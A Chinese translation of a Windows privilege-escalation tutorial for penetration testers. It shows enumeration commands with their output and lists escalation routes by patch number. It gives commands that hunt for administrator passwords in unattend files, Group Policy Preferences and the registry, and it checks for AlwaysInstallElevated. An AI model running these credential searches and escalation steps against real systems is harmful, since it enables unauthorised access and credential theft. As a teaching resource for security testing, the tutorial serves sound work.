Windows提权基本原理

2023-11-12

前言 

没有多少人谈论在Windows下提权,是一件让人遗憾的事!我想,没有人这么做的理由有以下几点:

  • 在渗透测试项目中,客户需要的验证就是一个低权限shell。 
  • 在演示环境,你经常就会得到管理员帐户。 
  • meterpreter使你变得懒惰(getsystem = lazy-fu)。 
  • 最后的评估报告最终变成 – ->nessus安全认证扫描,微软安全基线分析….

尽管通常的感觉是配置得当的windows是安全的。但是事实真的是这样吗?因此,让我们深入了解Windows操作系统的黑暗角落,看看我们是否能得到SYSTEM权限。

应该注意的是,我将使用不同版本的Windows来强调任何可能存在的命令行差异。请牢记这一点,因为不同的操作系统和版本差异会在命令行中显现。我试图构造本教程,以便它适用于Windows提权的最普遍的方式。 最后,我想对我的朋友Kostas大声说,他真的也很喜欢渗透(post-exploitation),你不会想让他进入到你的计算机的。

【必要文档补充】

  • Encyclopaedia Of Windows Privilege Escalation (Brett Moore)
  • Windows Attacks: AT is the new black (Chris Gates & Rob Fuller)
  • Elevating privileges by exploiting weak folder permissions (Parvez Anwar)

译者注:原文作者提了下meterpreter,我们可以把meterpreter比做sql注入利用的sqlmap,在得到meterpreter的shell后,可以输入命令getsystem,自动完成提权。

在t0-t3阶段,最初的信息收集方法

最开始是一个低权限的shell,这个shell可能是通过远程代码执行,钓鱼,反弹得到的。基本上最开始我们对计算机并不了解,比如它是做什么的,有什么连接,我们有什么权限,甚至是什么操作系统。 

在最开始的阶段,我们得快速收集一些基本信息来评估我们的环境。

操作系统 

第一步,让我们找到我们连接的操作系统。

C:\Windows\system32> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
OS Name:                   Microsoft Windows 7 Professional
OS Version:                6.1.7601 Service Pack 1 Build 7601

主机名+当前用户 

接下来,我们看到这台计算机的主机名和我们连接上是哪个用户

C:\Windows\system32> hostname
b33f

C:\Windows\system32> echo %username%
user1

所用用户信息+当前用户所在的组 

现在我们有了一些基本信息,然后我们列出了其他用户帐户,并在更详细的情况下查看我们自己的用户信息。我们已经看到user1不是本地组管理员。

C:\Windows\system32> net users

User accounts for \\B33F

-------------------------------------------------------------------------------
Administrator            b33f                     Guest
user1
The command completed successfully.

C:\Windows\system32> net user user1

User name                    user1
Full Name
Comment
User's comment
Country code                 000 (System Default)
Account active               Yes
Account expires              Never

Password last set            1/11/2014 7:47:14 PM
Password expires             Never
Password changeable          1/11/2014 7:47:14 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   1/11/2014 8:05:09 PM

Logon hours allowed          All

Local Group Memberships      *Users
Global Group memberships     *None
The command completed successfully.

网络接口+路由表 

这就是我们目前需要了解的关于用户和权限的全部内容。接下来我们要讨论的是网络信息,连接的设备是什么,以及它对这些连接施加了什么规则。 

首先让我们看一下可用的网络接口和路由表。

C:\Windows\system32> ipconfig /all

Windows IP Configuration

   Host Name . . . . . . . . . . . . : b33f
   Primary Dns Suffix  . . . . . . . :
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter Bluetooth Network Connection:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Bluetooth Device (Personal Area Network)
   Physical Address. . . . . . . . . : 0C-84-DC-62-60-29
   DHCP Enabled. . . . . . . . . . . : Yes
   Autoconfiguration Enabled . . . . : Yes
   
Ethernet adapter Local Area Connection:

   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
   Physical Address. . . . . . . . . : 00-0C-29-56-79-35
   DHCP Enabled. . . . . . . . . . . : Yes
   Autoconfiguration Enabled . . . . : Yes
   Link-local IPv6 Address . . . . . : fe80::5cd4:9caf:61c0:ba6e%11(Preferred)
   IPv4 Address. . . . . . . . . . . : 192.168.0.104(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Lease Obtained. . . . . . . . . . : Saturday, January 11, 2014 3:53:55 PM
   Lease Expires . . . . . . . . . . : Sunday, January 12, 2014 3:53:55 PM
   Default Gateway . . . . . . . . . : 192.168.0.1
   DHCP Server . . . . . . . . . . . : 192.168.0.1
   DHCPv6 IAID . . . . . . . . . . . : 234884137
   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-18-14-24-1D-00-0C-29-56-79-35
   DNS Servers . . . . . . . . . . . : 192.168.0.1
   NetBIOS over Tcpip. . . . . . . . : Enabled

C:\Windows\system32> route print

===========================================================================
Interface List
 18...0c 84 dc 62 60 29 ......Bluetooth Device (Personal Area Network)
 13...00 ff 0c 0d 4f ed ......TAP-Windows Adapter V9
 11...00 0c 29 56 79 35 ......Intel(R) PRO/1000 MT Network Connection
  1...........................Software Loopback Interface 1
 16...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter
 15...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #2
 19...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #3
 14...00 00 00 00 00 00 00 e0 Teredo Tunneling Pseudo-Interface
===========================================================================

IPv4 Route Table
===========================================================================
Active Routes:
Network Destination        Netmask          Gateway       Interface  Metric
          0.0.0.0          0.0.0.0      192.168.0.1    192.168.0.104     10
        127.0.0.0        255.0.0.0         On-link         127.0.0.1    306
        127.0.0.1  255.255.255.255         On-link         127.0.0.1    306
  127.255.255.255  255.255.255.255         On-link         127.0.0.1    306
      192.168.0.0    255.255.255.0         On-link     192.168.0.104    266
    192.168.0.104  255.255.255.255         On-link     192.168.0.104    266
    192.168.0.255  255.255.255.255         On-link     192.168.0.104    266
        224.0.0.0        240.0.0.0         On-link         127.0.0.1    306
        224.0.0.0        240.0.0.0         On-link     192.168.0.104    266
  255.255.255.255  255.255.255.255         On-link         127.0.0.1    306
  255.255.255.255  255.255.255.255         On-link     192.168.0.104    266
===========================================================================
Persistent Routes:
  None

IPv6 Route Table
===========================================================================
Active Routes:
 If Metric Network Destination      Gateway
 14     58 ::/0                     On-link
  1    306 ::1/128                  On-link
 14     58 2001::/32                On-link
 14    306 2001:0:5ef5:79fb:8d2:b4e:3f57:ff97/128
                                    On-link
 11    266 fe80::/64                On-link
 14    306 fe80::/64                On-link
 14    306 fe80::8d2:b4e:3f57:ff97/128
                                    On-link
 11    266 fe80::5cd4:9caf:61c0:ba6e/128
                                    On-link
  1    306 ff00::/8                 On-link
 14    306 ff00::/8                 On-link
 11    266 ff00::/8                 On-link
===========================================================================
Persistent Routes:
  None

Arp缓存表 

arp -A显示了所有可用接口的arp(地址解析协议)缓存表。

C:\Windows\system32> arp -A

Interface: 192.168.0.104 --- 0xb
  Internet Address      Physical Address      Type
  192.168.0.1           90-94-e4-c5-b0-46     dynamic
  192.168.0.101         ac-22-0b-af-bb-43     dynamic
  192.168.0.255         ff-ff-ff-ff-ff-ff     static
  224.0.0.22            01-00-5e-00-00-16     static
  224.0.0.251           01-00-5e-00-00-fb     static
  224.0.0.252           01-00-5e-00-00-fc     static
  239.255.255.250       01-00-5e-7f-ff-fa     static
  255.255.255.255       ff-ff-ff-ff-ff-ff     static

这就使我们了解了活动网络连接和防火墙规则

C:\Windows\system32> netstat -ano

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       684
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:5357           0.0.0.0:0              LISTENING       4
  TCP    127.0.0.1:5354         0.0.0.0:0              LISTENING       1400
  TCP    192.168.0.104:139      0.0.0.0:0              LISTENING       4
  TCP    [::]:135               [::]:0                 LISTENING       684
  TCP    [::]:445               [::]:0                 LISTENING       4
  TCP    [::]:5357              [::]:0                 LISTENING       4
  UDP    0.0.0.0:5355           *:*                                    1100
  UDP    0.0.0.0:52282          *:*                                    976
  UDP    0.0.0.0:55202          *:*                                    2956
  UDP    0.0.0.0:59797          *:*                                    1400
  UDP    127.0.0.1:1900         *:*                                    2956
  UDP    127.0.0.1:65435        *:*                                    2956
  UDP    192.168.0.104:137      *:*                                    4
  UDP    192.168.0.104:138      *:*                                    4
  UDP    192.168.0.104:1900     *:*                                    2956
  UDP    192.168.0.104:5353     *:*                                    1400
  UDP    192.168.0.104:65434    *:*                                    2956
  UDP    [::]:5355              *:*                                    1100
  UDP    [::]:52281             *:*                                    976
  UDP    [::]:52283             *:*                                    976
  UDP    [::]:55203             *:*                                    2956
  UDP    [::]:59798             *:*                                    1400
  UDP    [::1]:1900             *:*                                    2956
  UDP    [::1]:5353             *:*                                    1400
  UDP    [::1]:65433            *:*                                    2956
  UDP    [fe80::5cd4:9caf:61c0:ba6e%11]:1900  *:*                      2956
  UDP    [fe80::5cd4:9caf:61c0:ba6e%11]:65432  *:*                     2956

查看防火墙转态+防火墙配置信息 

以下两个netsh命令是在不同操作系统的命令示例。netsh firewall命令只能从XP SP2和以上版本运行。

C:\Windows\system32> netsh firewall show state

Firewall status:
-------------------------------------------------------------------
Profile                           = Standard
Operational mode                  = Enable
Exception mode                    = Enable
Multicast/broadcast response mode = Enable
Notification mode                 = Enable
Group policy version              = Windows Firewall
Remote admin mode                 = Disable

Ports currently open on all network interfaces:
Port   Protocol  Version  Program
-------------------------------------------------------------------
No ports are currently open on all network interfaces.

C:\Windows\system32> netsh firewall show config

Domain profile configuration:
-------------------------------------------------------------------
Operational mode                  = Enable
Exception mode                    = Enable
Multicast/broadcast response mode = Enable
Notification mode                 = Enable

Allowed programs configuration for Domain profile:
Mode     Traffic direction    Name / Program
-------------------------------------------------------------------

Port configuration for Domain profile:
Port   Protocol  Mode    Traffic direction     Name
-------------------------------------------------------------------

ICMP configuration for Domain profile:
Mode     Type  Description
-------------------------------------------------------------------
Enable   2     Allow outbound packet too big

Standard profile configuration (current):
-------------------------------------------------------------------
Operational mode                  = Enable
Exception mode                    = Enable
Multicast/broadcast response mode = Enable
Notification mode                 = Enable

Service configuration for Standard profile:
Mode     Customized  Name
-------------------------------------------------------------------
Enable   No          Network Discovery

Allowed programs configuration for Standard profile:
Mode     Traffic direction    Name / Program
-------------------------------------------------------------------
Enable   Inbound              COMRaider / E:\comraider\comraider.exe
Enable   Inbound              nc.exe / C:\users\b33f\desktop\nc.exe

Port configuration for Standard profile:
Port   Protocol  Mode    Traffic direction     Name
-------------------------------------------------------------------

ICMP configuration for Standard profile:
Mode     Type  Description
-------------------------------------------------------------------
Enable   2     Allow outbound packet too big

Log configuration:
-------------------------------------------------------------------
File location   = C:\Windows\system32\LogFiles\Firewall\pfirewall.log
Max file size   = 4096 KB
Dropped packets = Disable
Connections     = Disable

查看 进程+服务+计划任务+驱动程序 

最后,我们将简要地看一下在这个设备上运行的有什么,比如计划任务、运行进程、启动服务和安装的驱动程序。 这将显示所有调度任务的详细输出,下面您可以看到单个任务的示例输出。

C:\Windows\system32> schtasks /query /fo LIST /v

Folder: \Microsoft\Windows Defender
HostName:                             B33F
TaskName:                             \Microsoft\Windows Defender\MP Scheduled Scan
Next Run Time:                        1/22/2014 5:11:13 AM
Status:                               Ready
Logon Mode:                           Interactive/Background
Last Run Time:                        N/A
Last Result:                          1
Author:                               N/A
Task To Run:                          c:\program files\windows defender\MpCmdRun.exe Scan -ScheduleJob
                                      -WinTask -RestrictPrivilegesScan
Start In:                             N/A
Comment:                              Scheduled Scan
Scheduled Task State:                 Enabled
Idle Time:                            Only Start If Idle for 1 minutes, If Not Idle Retry For 240 minutes
Power Management:                     No Start On Batteries
Run As User:                          SYSTEM
Delete Task If Not Rescheduled:       Enabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule:                             Scheduling data is not available in this format.
Schedule Type:                        Daily
Start Time:                           5:11:13 AM
Start Date:                           1/1/2000
End Date:                             1/1/2100
Days:                                 Every 1 day(s)
Months:                               N/A
Repeat: Every:                        Disabled
Repeat: Until: Time:                  Disabled
Repeat: Until: Duration:              Disabled
Repeat: Stop If Still Running:        Disabled
[..Snip..]

进程+服务

C:\Windows\system32> tasklist /SVC

Image Name                     PID Services
========================= ======== ============================================
System Idle Process              0 N/A
System                           4 N/A
smss.exe                       244 N/A
csrss.exe                      332 N/A
csrss.exe                      372 N/A
wininit.exe                    380 N/A
winlogon.exe                   428 N/A
services.exe                   476 N/A
lsass.exe                      484 SamSs
lsm.exe                        496 N/A
svchost.exe                    588 DcomLaunch, PlugPlay, Power
svchost.exe                    668 RpcEptMapper, RpcSs
svchost.exe                    760 Audiosrv, Dhcp, eventlog,
                                   HomeGroupProvider, lmhosts, wscsvc
svchost.exe                    800 AudioEndpointBuilder, CscService, Netman,
                                   SysMain, TrkWks, UxSms, WdiSystemHost,
                                   wudfsvc
svchost.exe                    836 AeLookupSvc, BITS, gpsvc, iphlpsvc,
                                   LanmanServer, MMCSS, ProfSvc, Schedule,
                                   seclogon, SENS, ShellHWDetection, Themes,
                                   Winmgmt, wuauserv
audiodg.exe                    916 N/A
svchost.exe                    992 EventSystem, fdPHost, netprofm, nsi,
                                   WdiServiceHost, WinHttpAutoProxySvc
svchost.exe                   1104 CryptSvc, Dnscache, LanmanWorkstation,
                                   NlaSvc
spoolsv.exe                   1244 Spooler
svchost.exe                   1272 BFE, DPS, MpsSvc
mDNSResponder.exe             1400 Bonjour Service
taskhost.exe                  1504 N/A
taskeng.exe                   1556 N/A
vmtoolsd.exe                  1580 VMTools
dwm.exe                       1660 N/A
explorer.exe                  1668 N/A
vmware-usbarbitrator.exe      1768 VMUSBArbService
TPAutoConnSvc.exe             1712 TPAutoConnSvc
[..Snip..]

C:\Windows\system32> net start

These Windows services are started:

   Application Experience
   Application Information
   Background Intelligent Transfer Service
   Base Filtering Engine
   Bluetooth Support Service
   Bonjour Service
   COM+ Event System
   COM+ System Application
   Cryptographic Services
   DCOM Server Process Launcher
   Desktop Window Manager Session Manager
   DHCP Client
   Diagnostic Policy Service
   Diagnostic Service Host
   Diagnostic System Host
   Distributed Link Tracking Client
   Distributed Transaction Coordinator
   DNS Client
   Function Discovery Provider Host
   Function Discovery Resource Publication
   Group Policy Client
[..Snip..]
# DRIVERQUERY有时是有用的,因为一些第三方驱动,即使是信誉良好的公司,也比ring0的洞多。这是可能的,因为ring0的利用是在大多数人的专长技能之外。

驱动信息

C:\Windows\system32> DRIVERQUERY

Module Name  Display Name           Driver Type   Link Date
============ ====================== ============= ======================
1394ohci     1394 OHCI Compliant Ho Kernel        11/20/2010 6:01:11 PM
ACPI         Microsoft ACPI Driver  Kernel        11/20/2010 4:37:52 PM
AcpiPmi      ACPI Power Meter Drive Kernel        11/20/2010 4:47:55 PM
adp94xx      adp94xx                Kernel        12/6/2008 7:59:55 AM
adpahci      adpahci                Kernel        5/2/2007 1:29:26 AM
adpu320      adpu320                Kernel        2/28/2007 8:03:08 AM
AFD          Ancillary Function Dri Kernel        11/20/2010 4:40:00 PM
agp440       Intel AGP Bus Filter   Kernel        7/14/2009 7:25:36 AM
aic78xx      aic78xx                Kernel        4/12/2006 8:20:11 AM
aliide       aliide                 Kernel        7/14/2009 7:11:17 AM
amdagp       AMD AGP Bus Filter Dri Kernel        7/14/2009 7:25:36 AM
amdide       amdide                 Kernel        7/14/2009 7:11:19 AM
AmdK8        AMD K8 Processor Drive Kernel        7/14/2009 7:11:03 AM
AmdPPM       AMD Processor Driver   Kernel        7/14/2009 7:11:03 AM
amdsata      amdsata                Kernel        3/19/2010 9:08:27 AM
amdsbs       amdsbs                 Kernel        3/21/2009 2:35:26 AM
amdxata      amdxata                Kernel        3/20/2010 12:19:01 AM
AppID        AppID Driver           Kernel        11/20/2010 5:29:48 PM
arc          arc                    Kernel        5/25/2007 5:31:06 AM
[..Snip..]

在t4阶段,神秘艺术之WMIC

我想提下WMIC (Windows Management Instrumentation Command-Line,Windows管理工具命令行),因为它是Windows最有用的命令行工具。WMIC对于信息收集和渗透都是非常实用的而且输出内容有很多值得期待的地方。全面解释WMIC的使用将需要一个教程。补充一点,由于格式化的问题,WMIC有些输出将很难显示。 我将会在下面列出两个文章,这两个文章对于WMIC是非常值得阅读的。

Command-Line Ninjitsu (SynJunkie) - here
Windows WMIC Command Line (ComputerHope) - here

糟糕的是,一些默认配置的windows并不允许访问WMIC,除非是用户在windows的管理组,从我的虚拟机测试来看,任何版本的windows xp的低权限用户并不能访问WMIC。相反的,默认配置的windows 7 专业版和windows 8 企业版允许低权限的用户访问WMIC并查询操作系统版本。这正是我们所需要的,因为我们正在使用WMIC来收集关于目标机的信息。 关于WMIC的选项,我已经列出了下面可用的命令行。

C:\Windows\system32> wmic /?

[global switches] 

The following global switches are available:
/NAMESPACE           Path for the namespace the alias operate against.
/ROLE                Path for the role containing the alias definitions.
/NODE                Servers the alias will operate against.
/IMPLEVEL            Client impersonation level.
/AUTHLEVEL           Client authentication level.
/LOCALE              Language id the client should use.
/PRIVILEGES          Enable or disable all privileges.
/TRACE               Outputs debugging information to stderr.
/RECORD              Logs all input commands and output.
/INTERACTIVE         Sets or resets the interactive mode.
/FAILFAST            Sets or resets the FailFast mode.
/USER                User to be used during the session.
/PASSWORD            Password to be used for session login.
/OUTPUT              Specifies the mode for output redirection.
/APPEND              Specifies the mode for output redirection.
/AGGREGATE           Sets or resets aggregate mode.
/AUTHORITY           Specifies the  for the connection.
/?[:<BRIEF|FULL>]    Usage information.

For more information on a specific global switch, type: switch-name /?


The following alias/es are available in the current role:
ALIAS                    - Access to the aliases available on the local system
BASEBOARD                - Base board (also known as a motherboard or system board) management.
BIOS                     - Basic input/output services (BIOS) management.
BOOTCONFIG               - Boot configuration management.
CDROM                    - CD-ROM management.
COMPUTERSYSTEM           - Computer system management.
CPU                      - CPU management.
CSPRODUCT                - Computer system product information from SMBIOS.
DATAFILE                 - DataFile Management.
DCOMAPP                  - DCOM Application management.
DESKTOP                  - User's Desktop management.
DESKTOPMONITOR           - Desktop Monitor management.
DEVICEMEMORYADDRESS      - Device memory addresses management.
DISKDRIVE                - Physical disk drive management.
DISKQUOTA                - Disk space usage for NTFS volumes.
DMACHANNEL               - Direct memory access (DMA) channel management.
ENVIRONMENT              - System environment settings management.
FSDIR                    - Filesystem directory entry management.
GROUP                    - Group account management.
IDECONTROLLER            - IDE Controller management.
IRQ                      - Interrupt request line (IRQ) management.
JOB                      - Provides  access to the jobs scheduled using the schedule service.
LOADORDER                - Management of system services that define execution dependencies.
LOGICALDISK              - Local storage device management.
LOGON                    - LOGON Sessions.
MEMCACHE                 - Cache memory management.
MEMORYCHIP               - Memory chip information.
MEMPHYSICAL              - Computer system's physical memory management.
NETCLIENT                - Network Client management.
NETLOGIN                 - Network login information (of a particular user) management.
NETPROTOCOL              - Protocols (and their network characteristics) management.
NETUSE                   - Active network connection management.
NIC                      - Network Interface Controller (NIC) management.
NICCONFIG                - Network adapter management.
NTDOMAIN                 - NT Domain management.
NTEVENT                  - Entries in the NT Event Log.
NTEVENTLOG               - NT eventlog file management.
ONBOARDDEVICE            - Management of common adapter devices built into the motherboard (system board).
OS                       - Installed Operating System/s management.
PAGEFILE                 - Virtual memory file swapping management.
PAGEFILESET              - Page file settings management.
PARTITION                - Management of partitioned areas of a physical disk.
PORT                     - I/O port management.
PORTCONNECTOR            - Physical connection ports management.
PRINTER                  - Printer device management.
PRINTERCONFIG            - Printer device configuration management.
PRINTJOB                 - Print job management.
PROCESS                  - Process management.
PRODUCT                  - Installation package task management.
QFE                      - Quick Fix Engineering.
QUOTASETTING             - Setting information for disk quotas on a volume.
RDACCOUNT                - Remote Desktop connection permission management.
RDNIC                    - Remote Desktop connection management on a specific network adapter.
RDPERMISSIONS            - Permissions to a specific Remote Desktop connection.
RDTOGGLE                 - Turning Remote Desktop listener on or off remotely.
RECOVEROS                - Information that will be gathered from memory when the operating system fails.
REGISTRY                 - Computer system registry management.
SCSICONTROLLER           - SCSI Controller management.
SERVER                   - Server information management.
SERVICE                  - Service application management.
SHADOWCOPY               - Shadow copy management.
SHADOWSTORAGE            - Shadow copy storage area management.
SHARE                    - Shared resource management.
SOFTWAREELEMENT          - Management of the  elements of a software product installed on a system.
SOFTWAREFEATURE          - Management of software product subsets of SoftwareElement.
SOUNDDEV                 - Sound Device management.
STARTUP                  - Management of commands that run automatically when users log onto the computer 
                           system.
SYSACCOUNT               - System account management.
SYSDRIVER                - Management of the system driver for a base service.
SYSTEMENCLOSURE          - Physical system enclosure management.
SYSTEMSLOT               - Management of physical connection points including ports,  slots and 
                           peripherals, and proprietary connections points.
TAPEDRIVE                - Tape drive management.
TEMPERATURE              - Data management of a temperature sensor (electronic thermometer).
TIMEZONE                 - Time zone data management.
UPS                      - Uninterruptible power supply (UPS) management.
USERACCOUNT              - User account management.
VOLTAGE                  - Voltage sensor (electronic voltmeter) data management.
VOLUME                   - Local storage volume management.
VOLUMEQUOTASETTING       - Associates the disk quota setting with a specific disk volume.
VOLUMEUSERQUOTA          - Per user storage volume quota management.
WMISET                   - WMI service operational parameters management.

For more information on a specific alias, type: alias /?

CLASS     - Escapes to full WMI schema.
PATH      - Escapes to full WMI object paths.
CONTEXT   - Displays the state of all the global switches.
QUIT/EXIT - Exits the program.

For more information on CLASS/PATH/CONTEXT, type: (CLASS | PATH | CONTEXT) /?

为了简化操作,我已经创建了一个脚本,可以在目标机器上使用WMIC提取以下信息:流程、服务、用户帐号、用户组、网络接口、硬盘信息、网络共享信息、安装Windows补丁、程序在启动运行、安装的软件列表、操作系统、时区信息。 我已经通过各种标志和参数来提取有价值的信息,如果有人想要添加到列表中,请在下面留下评论。使用内置的输出特性,脚本将把所有结果写入一个人类可读的html文件。

脚本地址:http://www.fuzzysecurity.com/tutorials/files/wmic_info.rar 

输出页面:http://www.fuzzysecurity.com/tutorials/files/Win7.html

在t5-t6阶段,快速攻陷 

在继续渗透之前,你需要先回顾一下已经搜集到的信息,信息量应该已经不小了。我们计划的下一步就是要寻找一些能被轻易利用的系统缺陷来提升权限。 显而易见,第一步就是去查看补丁修正情况。如果发现主机已经被打了某些补丁,也不用很担心。我的 WMIC 脚本可以列出所有已安装的补丁,你可以通过下面这条命令来查看:

查看补丁信息

C:\Windows\system32> wmic qfe get Caption,Description,HotFixID,InstalledOn

Caption                                     Description      HotFixID   InstalledOn
http://support.microsoft.com/?kbid=2727528  Security Update  KB2727528  11/23/2013
http://support.microsoft.com/?kbid=2729462  Security Update  KB2729462  11/26/2013
http://support.microsoft.com/?kbid=2736693  Security Update  KB2736693  11/26/2013
http://support.microsoft.com/?kbid=2737084  Security Update  KB2737084  11/23/2013
http://support.microsoft.com/?kbid=2742614  Security Update  KB2742614  11/23/2013
http://support.microsoft.com/?kbid=2742616  Security Update  KB2742616  11/26/2013
http://support.microsoft.com/?kbid=2750149  Update           KB2750149  11/23/2013
http://support.microsoft.com/?kbid=2756872  Update           KB2756872  11/24/2013
http://support.microsoft.com/?kbid=2756923  Security Update  KB2756923  11/26/2013
http://support.microsoft.com/?kbid=2757638  Security Update  KB2757638  11/23/2013
http://support.microsoft.com/?kbid=2758246  Update           KB2758246  11/24/2013
http://support.microsoft.com/?kbid=2761094  Update           KB2761094  11/24/2013
http://support.microsoft.com/?kbid=2764870  Update           KB2764870  11/24/2013
http://support.microsoft.com/?kbid=2768703  Update           KB2768703  11/23/2013
http://support.microsoft.com/?kbid=2769034  Update           KB2769034  11/23/2013
http://support.microsoft.com/?kbid=2769165  Update           KB2769165  11/23/2013
http://support.microsoft.com/?kbid=2769166  Update           KB2769166  11/26/2013
http://support.microsoft.com/?kbid=2770660  Security Update  KB2770660  11/23/2013
http://support.microsoft.com/?kbid=2770917  Update           KB2770917  11/24/2013
http://support.microsoft.com/?kbid=2771821  Update           KB2771821  11/24/2013
[..Snip..]

但这些输出并不代表一定可以被利用,最好的策略先是去寻找可以提升权限的 EXP 以及它们的补丁编号。这些 EXP 包括但不限于:KiTrap0D (KB979682), MS11-011 (KB2393802), MS10-059 (KB982799), MS10-021 (KB979683), MS11-080 (KB2592799)。在列举了系统版本和补丁包后,你应该发现哪些权限提升漏洞可以被复现,使用补丁包编号你可以过滤掉那些已经被安装的补丁,检查一下是否有被漏打的补丁。

补丁包过滤 

以下是对补丁包进行过滤的语法

C:\Windows\system32> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB.." /C:"KB.."

接下来我们将会有很多新发现。一般情况下,如果需要给很多机器配置同一个环境,一个技术人员一定不会逐个安装配置这些机器,而是会选择一些自动化安装的解决方案。这些方案是什么以及它们是如何工作的与我们当下所做的事不是很相关,重要的是他们留下的用于安装流程的配置文件,这些配置文件包含大量的敏感信息,例如操作系统的产品密钥和管理员密码。而我们最最感兴趣的就是管理员密码,因为我们可以借此来提升我们的权限。 以下是一些经常被用于存放配置文件的位置(当然检查整个系统也是可以的)

c:\sysprep.inf
c:\sysprep\sysprep.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml

这些目录中的文件可能包含着明文密码,或是Base64加密后的密码。下面是一些文件中的样例:

# This is a sample from sysprep.inf with clear-text credentials.

[GuiUnattended]
OEMSkipRegional=1
OemSkipWelcome=1
AdminPassword=s3cr3tp4ssw0rd
TimeZone=20

# This is a sample from sysprep.xml with Base64 "encoded" credentials. Please people Base64 is not
encryption, I take more precautions to protect my coffee. The password here is "SuperSecurePassword".

<LocalAccounts>
    <LocalAccount wcm:action="add">
        <Password>
            <Value>U3VwZXJTZWN1cmVQYXNzd29yZA==</Value>
            <PlainText>false</PlainText>
        </Password>
        <Description>Local Administrator</Description>
        <DisplayName>Administrator</DisplayName>
        <Group>Administrators</Group>
        <Name>Administrator</Name>
    </LocalAccount>
</LocalAccounts>

# Sample from Unattended.xml with the same "secure" Base64 encoding.

<AutoLogon>
    <Password>
        <Value>U3VwZXJTZWN1cmVQYXNzd29yZA==</Value>
        <PlainText>false</PlainText>
    </Password>
    <Enabled>true</Enabled>
    <Username>Administrator</Username>
</AutoLogon>

在 Ben Campbell (@Meatballs__) 的推荐下,我将获取组策略首选项 ( Group Policy Preferences ) 保存的密码也作为快速攻陷目标机器的方式之一。组策略首选项文件可以被用于去创建域内主机的本地用户。如果你控制的机器被连接到一个域内,那么去查找一下存储在 SYSVOL 中的 Groups.xml 文件也是很有意义的,而且所有被授权的用户都有该文件的读权限。在这个 xml 文件中的密码只是被临时用户“模糊”地用 AES 加密了,说“模糊”是因为静态密钥已经被公开的公布于 msdn 网站上,所以可以轻松地破解这些密码。

除了 Groups.xml 还有几个其他的策略首选项文件也同样含有可选的 “cPassword” 属性:

Services\Services.xml: Element-Specific Attributes
ScheduledTasks\ScheduledTasks.xml: Task Inner Element, TaskV2 Inner Element, ImmediateTaskV2 Inner Element
Printers\Printers.xml: SharedPrinter Element
Drives\Drives.xml: Element-Specific Attributes
DataSources\DataSources.xml: Element-Specific Attributes

这个漏洞可以通过手动浏览 SYSVOL 文件夹和抓取相关文件来利用,证明如下

然而,我们都希望有一个自动化的解决方案,这样我们就可以尽可能快的完成这项工作。这里主要有两种方式,取决于我们的 shell 类型以及权限大小,

(1) 一个是通过已建立的会话执行 metasploit 模块 

(2) 你可以使用 PowerSploit 的 Get-GPPPassword 功能。PowerSploit 是一个强大的 powershell 框架,作者是 Matt Graeber(擅长逆向工程、计算机取证以及渗透测试)。

接下来我们要查找一个奇怪的注册表设置项 “AlwaysInstallElevated”,如果该设置项被启用,它会允许任何权限的用户以 NT AUTHORITY\SYSTEM 权限来安装 *.msi 文件。可以创建低权限的用户(它们的操作系统使用受到限制)但是却给它们 SYSTEM 权限去安装软件,这在我看来是有些奇怪。想要阅读更多的这方面的背景知识,可以查看这里 ,这是在 GreyHatHacker 博客上 Parvez 的一篇文章,他最早报告了这个安全问题。 为了能利用这个漏洞,我们需要去检查两个注册表键值是否被设置,这是我们是否能弹出 SYSTEM 权限 shell 的关键。以下是查询对应注册表键值的语法

# This will only work if both registry keys contain "AlwaysInstallElevated" with DWORD values of 1.

C:\Windows\system32> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
C:\Windows\system32> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

为了完成这个章节,我们还将在操作系统上做一些快速搜索,希望我们可以成功。 执行以下语句完成搜索

# The command below will search the file system for file names containing certain keywords. You can
specify as many keywords as you wish.

C:\Windows\system32> dir /s *pass* == *cred* == *vnc* == *.config*

# Search certain file types for a keyword, this can generate a lot of output.

C:\Windows\system32> findstr /si password *.xml *.ini *.txt

# Similarly the two commands below can be used to grep the registry for keywords, in this case "password".

C:\Windows\system32> reg query HKLM /f password /t REG_SZ /s
C:\Windows\system32> reg query HKCU /f password /t REG_SZ /s

在t7-t10阶段,撸起袖子加油干 

希望到现在为止,我们已经有了一个 SYSTEM shell,但如果我们还没有,接下来还有一些攻击方法可以尝试。在最后章节我们将会关注于 Windows 服务和文件/目录权限部分。我们的目标是去使用低权限去提升当前会话权限。 

我们将会检查很多访问权限,所以我们应该抓取一份微软 Sysinternals 套件中 accesschk.exe 工具的副本。微软 Sysinternals 套件包含了许多强大的工具,但微软并没有把它们加入标准版的 Windows。你可以从 微软 technet 网站下载该套件 

我们将会先从 Windows 开启的服务来寻找线索,因为那里可以发现很多快速制胜的方法。通常来说,现代操作系统不会包含存在漏洞的服务。在这种情况下,漏洞指的是我们可以重新配置的服务参数。Windows 服务有点像应用程序的快捷键,下面是一个例子

# We can use sc to query, configure and manage windows services.

C:\Windows\system32> sc qc Spooler

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Spooler
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\System32\spoolsv.exe
        LOAD_ORDER_GROUP   : SpoolerGroup
